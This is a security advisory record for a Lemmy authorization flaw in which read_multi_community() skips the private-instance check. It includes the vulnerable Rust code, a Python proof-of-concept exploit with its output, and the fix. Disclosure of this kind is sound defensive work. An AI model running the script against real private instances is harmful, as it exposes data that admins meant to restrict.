{"id":"GHSA-jmxc-hhwx-gvv3","aliases":[],"url":"https://o3.security/vulnerability/GHSA-jmxc-hhwx-gvv3","summary":"Private Lemmy instances expose multi-community metadata without authentication","details":"**NOTE**: Only affects development version.\n\n## Summary\n\n`read_multi_community()` does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Details\n\nOther read handlers load `local_site` and call `check_private_instance()` before returning data to unauthenticated callers. `read_multi_community()` does not call that helper:\n\n```rust\npub async fn read_multi_community(\n  Query(data): Query<GetMultiCommunity>,\n  context: Data<LemmyContext>,\n  local_user_view: Option<LocalUserView>,\n) -> LemmyResult<Json<GetMultiCommunityResponse>> {\n  let my_person_id = local_user_view.as_ref().map(|l| l.person.id);\n  let id = resolve_multi_community_identifier(&data.name, data.id, &context, &local_user_view)\n    .await?\n    .ok_or(LemmyErrorType::NoIdGiven)?;\n  let multi_community_view =\n    MultiCommunityView::read(&mut context.pool(), id, my_person_id).await?;\n```\n\n`get_community()`, `list_posts()`, `list_comments()`, `read_person()`, `search()`, and `resolve_object()` all enforce the private-instance guard.\n\n## Proof of Concept\n\nThe script creates a multi-community whose metadata contains a marker, turns on `private_instance`, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over `GET /multi_community` without authentication.\n\n```python\n#!/usr/bin/env python3\nimport json, random, string\nimport requests\n\nBASE       = \"http://127.0.0.1:8536/api/v4\"\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\n\ndef api(method, path, token=None, **kw):\n    h = kw.pop(\"headers\", {})\n    if token: h[\"Authorization\"] = \"Bearer \" + token\n    return requests.request(method, BASE + path, headers=h, **kw)\n\nsuffix = \"multi\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nsecret = \"SECRET_MULTI_\" + suffix\n\nadmin = api(\"POST\", \"/account/auth/login\", json={\"username_or_email\": ADMIN_USER, \"password\": ADMIN_PASS}).json()[\"jwt\"]\n\n# Create a multi-community whose title/summary/sidebar embed the marker.\nmid = api(\"POST\", \"/multi_community\", admin, json={\n    \"name\": \"m\" + suffix, \"title\": secret,\n    \"summary\": secret + \" summary\", \"sidebar\": secret + \" sidebar\",\n}).json()[\"multi_community_view\"][\"multi\"][\"id\"]\n\n# Enable private_instance.\napi(\"PUT\", \"/site\", admin, json={\"private_instance\": True})\n\nprint(\"private_instance:\", api(\"GET\", \"/site\").json()[\"site_view\"][\"local_site\"][\"private_instance\"])\n\n# Control: a comparable read endpoint correctly rejects unauthenticated callers.\ncontrol = api(\"GET\", \"/community/list\")\nprint(\"unauth /community/list (control):\", control.status_code, control.text[:120])\n\n# Leak: read_multi_community returns the private metadata to an unauthenticated caller.\nleak = api(\"GET\", \"/multi_community\", params={\"id\": mid})\nprint(\"unauth /multi_community:\", leak.status_code, leak.text[:300])\nprint(\"contains secret:\", secret in leak.text)\n```\n\nOutput:\n\n```text\nprivate_instance: True\nunauth /community/list (control): 400 {\"error\":\"instance_is_private\",\"cause\":\"InstanceIsPrivate\"}\nunauth /multi_community: 200 {\"multi_community_view\":{\"multi\":{\"title\":\"SECRET_MULTI_multijwxokm\",\"summary\":\"SECRET_MULTI_multijwxokm summary\",\"sidebar\":\"SECRET_MULTI_multijwxokm sidebar\"}}}\ncontains secret: True\n```\n\nThe control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata.\n\n## Impact\n\nAn unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Recommended Fix\n\nLoad `local_site` at the start of `read_multi_community()` and call `check_private_instance(&local_user_view, &local_site)?` before resolving or reading the multi-community.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","published":"2026-05-06T22:12:34Z","modified":"2026-06-08T23:45:16.049766429Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"lemmy_api","fixedVersion":null}],"fix":{"url":"https://github.com/LemmyNet/lemmy/commit/637151121a8e27b2b8c95e98d6f86966b31b4a6d","label":"LemmyNet/lemmy@6371511"},"references":[{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jmxc-hhwx-gvv3"},{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/commit/637151121a8e27b2b8c95e98d6f86966b31b4a6d"},{"type":"PACKAGE","url":"https://github.com/LemmyNet/lemmy"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-08T23:45:16.049766429Z"}}